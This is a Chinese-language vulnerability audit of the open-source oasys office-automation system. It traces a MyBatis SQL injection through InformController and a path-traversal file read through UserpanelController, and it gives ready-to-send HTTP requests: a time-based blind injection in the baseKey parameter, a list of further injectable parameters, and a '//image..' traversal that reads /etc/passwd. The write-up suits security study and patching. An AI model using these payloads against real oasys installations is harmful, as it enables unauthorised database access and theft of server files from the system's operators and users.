oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于sprin-boot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。
项目地址
https://github.com/misstt123/oasys
SQL注入漏洞
由于使用的是mybatis,通过${查询是否有SQL语句使用了拼接字符。
可以看到notice-mapper.xml,第27行对baseKey使用了拼接符号。
通过使用Free MyBatis Tool插件进行逆向追踪,直接跳转到NoticeMapper接口下的sortMyNotice方法。
跟踪方法,具体实现方法为src/main/java/cn/gson/oasys/controller/inform/InformController.java的第80行,第69行为获取请求参数baseKey。
注入POC
GET /informlistpaging?baseKey=1'+AND+(SELECT+1596+FROM+(SELECT(SLEEP(5)))dMwG)+AND+'AUut'%3d'AUut HTTP/1.1Host: 192.168.1.3:8088User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: closeReferer: http://192.168.1.3:8088/indexCookie: JSESSIONID=975FC48812CC93ED2EFC6CF84B2EF52EUpgrade-Insecure-Requests: 1Priority: u=4

其他注入接口
参数值为*表示存在注入
http://192.168.1.3:8088/outaddresspaging?baseKey=*&alph=*&outtype=*
任意文件读取
通过筛选关键字FileInputStream,src/main/java/cn/gson/oasys/controller/user/UserpanelController.java第236-261行,@RequestMapping("image/**")匹配image后所有任意路径,第243行将/image替换为空,然后在获取系统文件。
通过断点可以看到:
- 固定根路径
rootpath为/xxx/xxx/Desktop/oasys-master/static/image; - 第245行直接将
rootpath和path拼接,最后获取文件;
由于直接拼接,可以通过../方式读取文件,直接../会保存400,无法进入到路由中,可以通过//image../的方式进行文件读取
GET /image//image..//image..//image..//image..//image..//image..//image..//image..//image..//image../etc/passwd HTTP/1.1Host: 192.168.80.231:8088Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: JSESSIONID=105DAD13F4C78132698C225F9E9B4560


其他接口
通过FileInputStream查找,src/main/java/cn/gson/oasys/controller/process/ProcedureController.java第938行-957行也存在相同的漏洞。
